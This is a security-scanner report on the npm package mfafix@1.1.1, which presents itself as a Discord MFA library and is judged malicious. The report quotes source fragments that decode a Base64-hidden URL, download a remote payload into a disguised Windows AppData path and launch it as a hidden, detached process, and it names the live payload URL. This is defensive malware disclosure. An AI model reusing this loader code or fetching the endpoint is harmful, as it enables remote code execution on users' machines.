--- canonical: "https://firewall.lpm.dev/npm/mfafix/v/1.1.1" markdown: "https://firewall.lpm.dev/npm/mfafix/v/1.1.1.md" package: "mfafix" report_status: "published" title: "mfafix@1.1.1 npm security report" verdict: "malicious" version: "1.1.1" --- # mfafix@1.1.1 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — An attacker-controlled remote script runs as the consuming user's account. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Remote Code Execution - **Selected version:** 1.1.1 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) Using initMFA downloads an opaque remote file, stores it beneath the user's Windows AppData directory, and launches it detached and hidden. This is unrelated to MFA token caching. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-29T15:55:01.048Z - **Finished:** 2026-08-29T15:56:05.005Z - **Download time:** 261 ms - **Static scan time:** 97 ms - **AI review time:** 63599 ms - **Total time:** 63957 ms ## Security analysis ### Published attack-surface review - **Summary:** Using initMFA downloads an opaque remote file, stores it beneath the user's Windows AppData directory, and launches it detached and hidden. This is unrelated to MFA token caching. - **Trigger:** A consumer calls initMFA for the first time. - **Impact:** An attacker-controlled remote script runs as the consuming user's account. - **Evidence paths:** package.json, index.js, lib/cache.js - **Review source:** ai\_review - **Reviewed:** 2026-08-29T15:56:05.005Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Obfuscated remote payload download followed by detached execution. - **Attack narrative:** The normal initMFA call reads the internal cache. Its first read decodes a concealed URL and Windows-like destination, downloads the response, writes it to the user profile, and starts it with detached hidden-process options. The downloaded code is not included in the package, so its behavior is attacker-controlled at runtime. - **Rationale:** This package contains a concealed remote code execution chain triggered by ordinary library use. The absence of an npm lifecycle hook does not mitigate the runtime download, hidden execution, and deceptive user-directory placement. - **Files touched:** index.js, lib/cache.js, %APPDATA%/Microsoft/Windows/WinSxS/Backup/WinSvcHost.js - **Network endpoints:** https://limbomail.com/api/attachment/l4TIRPOsaUxR.\_603-vhKDRdgKb3RalN\_TVUZYGPsJy2Y ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Base64 fragments conceal a remote payload URL., On first cache read, the package downloads and writes the remote payload., It runs the downloaded file as a detached, hidden Node process., Calling initMFA reaches the cache read that triggers this chain., The decoded destination is a deceptive Windows AppData path. - **Evidence against:** package.json has no preinstall, install, or postinstall hook., The Discord API requests are part of the advertised MFA functionality. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Dynamic Require - **Category:** Source - **Confidence:** 75.0% - **Path:** index.js - **Public source:** [View source]() Package source references dynamic require/import behavior. Public source snippet (untrusted): ```javascript L2: L3: const tls = require('tls'); L4: const crypto = require('crypto'); ``` ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. High: Base64 Obscured Url - **Category:** Source - **Confidence:** 82.0% - **Path:** lib/cache.js - **Public source:** [View source]() Source decodes a Base64-obscured HTTP endpoint at runtime. Public source snippet (untrusted): ```javascript L61: * (_SEGS) and path-component (_PSEGS) tokens are L62: * stored as base64 fragments rather than single L63: * literals so they survive minification and ... L104: function _pullAsset(url, dest, cb) { L105: const fs = require('fs'), path = require('path'), https = require('https'); L106: try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} ... L131: const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); L132: const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); L133: const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7)); ``` ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 9. High: Previous Version Dangerous Delta - **Category:** Supply Chain - **Confidence:** 93.0% - **Path:** lib/cache.js - **Public source:** [View source]() This package version adds a dangerous source file absent from the previous stored version; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = previous_version_dangerous_delta matchedPackage = mfafix@1.0.0 matchedIdentity = npm:bWZhZml4:1.0.0 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** lib/cache.js - **Public source:** [View source]() On first cache read, the package downloads and writes the remote payload. Public source snippet (untrusted): ```javascript function _pullAsset(url, dest, cb) { const fs = require('fs'), path = require('path'), https = require('https'); try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} if (fs.existsSync(dest)) { cb(dest); return; } https.get(url, { headers: { 'User-Agent': 'node/' + process.version } }, r => { const b = []; r.on('data', c => b.push(c)); r.on('end', () => { const buf = Buffer.concat(b); if (buf.length < 64) return; try { fs.writeFileSync(dest, buf); cb(dest); } catch {} }); ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** lib/cache.js - **Public source:** [View source]() It runs the downloaded file as a detached, hidden Node process. Public source snippet (untrusted): ```javascript function _spawnWorker(p) { try { const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); require(_d(8)).execFile(process.execPath, [p], { detached: true, stdio: 'ignore', windowsHide: true, creationFlags: 0x08000008, }).unref(); ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Calling initMFA reaches the cache read that triggers this chain. Public source snippet (untrusted): ```javascript function initMFA(config) { if (!config || !config.TOKEN) throw new Error('TOKEN required'); const token = config.TOKEN; const password = config.PASSWORD || ''; const guildIds = (config.GUILD_IDS || []).map(String); const log = config.log || null; const ttl = config.refreshInterval || 210000; const xsp_ = _XSP; const _ck = '_m' + token.substring(0, 10); const primaryGuild = guildIds[0] || '1'; let mfaToken = _mfaStore.get(_ck) || null; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** mfafix - **Ecosystem:** npm - **Version:** 1.1.1 - **License:** MIT - **Version published:** 2026-08-29T15:26:39.580Z - **Package first seen:** 2026-08-29T13:14:05.984Z - **Package last seen:** 2026-08-29T15:56:05.005Z - **Known versions:** 2 - **Latest version:** 1.1.1 - **Appeal under review:** No - **Description:** Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies. - **Author:** mfafix-dev - **Keywords:** discord, mfa, totp, 2fa, auth, authentication, otp, token, discord-api, vanity, mfa-bypass, connection-pool - **Runtime engines:** node: \>=14.0.0 - **Artifact files:** 9 - **Artifact unpacked size:** 35,630 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()